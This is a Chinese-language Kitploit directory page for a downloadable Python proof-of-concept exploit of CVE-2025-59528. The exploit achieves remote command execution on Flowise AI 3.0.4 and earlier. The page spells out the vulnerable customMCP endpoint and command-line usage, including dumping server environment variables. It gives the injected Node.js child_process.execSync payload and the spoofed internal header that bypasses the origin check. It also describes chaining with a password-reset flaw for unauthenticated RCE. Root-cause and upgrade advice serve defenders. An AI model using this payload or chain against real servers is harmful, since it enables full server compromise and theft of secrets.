Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Flowise-RCE-CVE-2025-59528 — 针对 CVE-2025-59528 的 Python PoC 漏洞利用,通过 customMCP 端点和 Node.js child_process.execSync 在 Flowise AI <= 3.0.4 上实现经过身份验证的 RCE。 | Kitploit
工具/GitHubGitHub/arensballiu/flowise-rce-cve-2025-59528
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队Payload 开发
GitHubarensballiu/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

针对 CVE-2025-59528 的 Python PoC 漏洞利用,通过 customMCP 端点和 Node.js child_process.execSync 在 Flowise AI <= 3.0.4 上实现经过身份验证的 RCE。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
114小时37分前尚未审核
分享

CVE-2025-59528 — Flowise AI 认证远程代码执行 (RCE)

概述

CVE ID: CVE-2025-59528
受影响软件: Flowise AI
受影响版本: <= 3.0.4
修复版本: 3.0.5 及更高版本
严重程度: 严重
作者: arensballiu
日期: 2025

描述

Flowise AI 3.0.4 及之前版本允许已认证用户通过向 /api/v1/node-load-method/customMCP 端点发送精心构造的 JavaScript 载荷,在宿主服务器上实现远程代码执行 (RCE)。

customMCP 节点的加载方法接受用户可控的输入,并在服务端将其作为 JavaScript 进行求值,缺乏充分的清理或沙箱隔离。通过注入利用 Node.js 的 child_process.execSync 的载荷,攻击者可以以 Flowise 服务器进程的权限运行任意操作系统命令。

该端点还要求请求中包含 x-request-from: internal 头。

受影响的端点

端点方法需要认证用途
/api/v1/auth/loginPOST否认证并获取会话
/api/v1/node-load-method/customMCPPOST是(会话 cookie)存在漏洞的节点加载方法端点

概念验证

文件: CVE-2025-59528_POC.py

要求

  • Python 3.x
  • requests 库
  • 目标 Flowise 实例上任意用户账户的有效凭据
root@kitploit:~
pip install requests

用法

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

参数

标志长格式必需描述
-e--email是已认证用户的电子邮件地址
-i--url是Flowise 实例的基础 URL
-p--password是已认证用户的密码
-c--cmd是在服务器上执行的操作系统命令

示例

验证代码执行:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

获取服务器环境变量:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

预期输出

root@kitploit:~
[+] Logged in
[+] Exploit sent
[+] Status: 200

载荷解析

该漏洞利用将以下 JavaScript 表达式注入到 mcpServerConfig 字段中:

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — 加载 Node.js 内置的进程执行模块。
  • execSync('<command>') — 同步运行攻击者提供的操作系统命令。
  • 整个表达式被包裹在对象字面量中,以确保它在服务器的 JavaScript 上下文中干净地求值。

请求中还附加了 x-request-from: internal 头,以通过原本会阻止该调用的内部来源检查。

根本原因

customMCP 端点将用户提供的输入直接传入服务器上的 JavaScript 求值上下文,没有进行清理或沙箱隔离。结合通过 process.mainModule.require 对 Node.js 核心模块(特别是 child_process)的无限制访问,这构成了一个极易利用的 RCE 向量。x-request-from 头检查并未提供有意义的安全边界,因为它没有针对任何可信来源进行验证。

与 CVE-2025-58434 的链式利用

这两个漏洞可以链式组合,形成针对运行 <= 3.0.4 版本的 Flowise 实例的未认证 RCE 攻击路径:

  1. 使用 CVE-2025-58434 重置任意已知账户的密码(无需事先认证)。
  2. 使用新设置的凭据登录。
  3. 使用 CVE-2025-59528 在服务器上执行任意操作系统命令。

修复措施

  • 升级到 Flowise AI 3.0.5 或更高版本,该版本移除或正确沙箱隔离了存在漏洞的求值路径。
  • 切勿在服务端上下文中将用户可控的字符串作为代码求值。
  • 通过适当的沙箱(例如 vm2、隔离上下文,或移除 process.mainModule 访问)限制对危险 Node.js 模块(child_process、fs 等)的访问。
  • 通过服务端机制而非简单的字符串检查来验证和认证 x-request-from 头。
  • 对 Flowise 服务器进程应用最小权限原则。

免责声明

本概念验证仅供教育和授权的安全研究目的提供。在未经明确书面许可的情况下对系统使用此脚本是非法的且不道德的。作者和贡献者对滥用行为不承担任何责任。

下载工具